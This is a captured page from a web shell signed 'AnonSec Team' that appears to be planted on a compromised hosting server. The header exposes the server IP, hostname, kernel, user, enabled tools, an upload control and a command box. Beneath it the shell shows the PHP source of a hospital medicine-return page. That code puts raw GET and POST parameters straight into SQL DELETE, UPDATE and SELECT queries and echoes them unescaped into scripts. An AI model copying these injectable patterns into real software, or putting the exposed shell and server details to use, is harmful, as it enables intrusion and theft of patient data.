Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.225.234.28
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/showReturnMedicine.php
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../patientmanager.php');
include("header.php");
include("dashboarddocument.php");
?>

<?php
include("dbconnection.php");
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM medicinede WHERE id='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('Deleted successfully..');</script>";
	}
}
if(isset($_POST[Paid])){
    $ReturnMedicine=$con->query("UPDATE `RetuneMedicine` SET `AmtStatus`='Paid' WHERE ReturnId='$_POST[ReturnId]'");
    if($ReturnMedicine==1){
        echo "<script>alert('Paid Successfully.........');</script>";
       if($_GET['Normal_care']){
           echo "<script>window.location='PaidReturnMedicine.php?ReturnId=$_GET[ReturnId]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&Normal_care=Normal_care'</script>";   
        }else{
              echo "<script>window.location='PaidReturnMedicine.php?ReturnId=$_GET[ReturnId]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'</script>";
        }
      
    }
}
?>

<!DOCTYPE html>
<html>  <head>
    
  
  </head>
  <body>
    <title>In House Patient</title>
 
  <body>
      <?php

include 'fileheader.php';
?>
         <br>  	<h3 style="text-align:center;">Return  Medicine </h3>
          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  
  
  </style>
  </head>
      
     <div class="">
    <!-- Content Header (Page header) -->
    <section class="">
     
<!--<input type="search" class="light-table-filter" data-table="order-table" placeholder="Search">-->
    <div id="container">
 <table border="1" class="order-table">
      <tbody>
                  <tr>
          <th>Date – time </th>
          <th>Medication Details</th>
             <th>Return Quantity</th>
        <th>Amount</th>
         <th>Action</th>
         </tr>
        </tbody>
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
 $sql1 ="SELECT * FROM RetuneMedicine WHERE PrescriptionId='$_GET[prescriptionid]' AND PatientId='$_GET[patientid]'  AND ReturnId='$_GET[ReturnId]'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re2 = mysqli_fetch_array($qsql1))
		{
 
     $sql12 ="SELECT * FROM medicine_slot WHERE medicine_id='$re2[MedicineId]' AND prescriptionid='$re2[PrescriptionId]' AND patientid='$re2[PatientId]'";
$qsql12 = mysqli_query($con,$sql12);
$rs12 = mysqli_fetch_array($qsql12);
 $sql6 ="SELECT * FROM medicinede WHERE prescriptionid='$re2[prescriptionid]' AND patientid='$re2[patientid]'";
		$qsql6 = mysqli_query($con,$sql6);
		while($re1 = mysqli_fetch_array($qsql6))
		{
	$sql11 ="SELECT * FROM site_users WHERE userno='$re2[entered_by]'";
		$qsql11 = mysqli_query($con,$sql11);
		while($re = mysqli_fetch_array($qsql11))
		{
		     $y=$re1[duration]; $w=$re1[Frequency]; 
		  $a=$x*$y;
		  $z=$y*$w;
		     echo " <tbody>
         <tr>
     <td><b>Created at:</b> $re2[CreatedAt]
                 <br><b>Created By:</b> $re[name] </td>
                 <td><b>Name :</b> 
                 ";






if (is_numeric($re2[MedicineId]))
{


$sqla1 ="SELECT * FROM medicine_stok WHERE medicine_id='$re2[MedicineId]'";
$qsqla1 = mysqli_query($con,$sqla1);
while($rsa1 = mysqli_fetch_array($qsqla1))


echo"$rsa1[DRUGS_name]";

}




    echo "  <br><b>Batch No. :</b> $re2[BatchNumber]<br><b>Amount. :</b> $re2[mrp] <br><b>Quantity Given :</b> $re2[QuantityGiven]</td><td>$re2[ReturnQuantity]</td>
    
    <td>$re2[AmountPaid]</td>
    <td>";
    if($re2['AmtStatus']=='Unpaid'){
  echo "   <form name='Paid' method='POST'> <input type='hidden' value='$re2[ReturnId]' name='ReturnId'>
  <input type='submit' name='Paid' value='Pay' class='btn btn-info'> </form>";
    }  if($re2['AmtStatus']=='Paid'){
        if($_GET['Normal_care']){
          echo "<a href='PaidReturnMedicine.php?ReturnId=$_GET[ReturnId]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&Normal_care=Normal_care'>Paid</a>";  
        }else{
          echo "<a href='PaidReturnMedicine.php?ReturnId=$_GET[ReturnId]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'>Paid</a>";  
        }
     
    }
  echo "  </td>
    </tr>   

                 
         
   
   	";	
}  } 
		}
		
		?>

   <table id="example2"  id ="demo" class="table table-bordered table-hover">
<?php
			$sql ="SELECT * FROM addaspatient WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'";
		$qsql = mysqli_query($con,$sql);
		if($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                    
          
     ";
}
?>  
   </tbody>
</table> 
            <script>
      let modalBtns = [...document.querySelectorAll(".button")];
      modalBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.getAttribute('data-modal');
          document.getElementById(modal)
            .style.display = "block";
        }
      });
      let closeBtns = [...document.querySelectorAll(".close")];
      closeBtns.forEach(function(btn) {
        btn.onclick = function() {
          let modal = btn.closest('.modal');
          modal.style.display = "none";
        }
      });
      window.onclick = function(event) {
        if(event.target.className === "modal") {
          event.target.style.display = "none";
        }
      }
    </script>
    <script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrug.php?drid="+drid,true);
        xmlhttp.send();
}
            
     
</script>
  </body>
</html>

Anon7 - 2022
AnonSec Team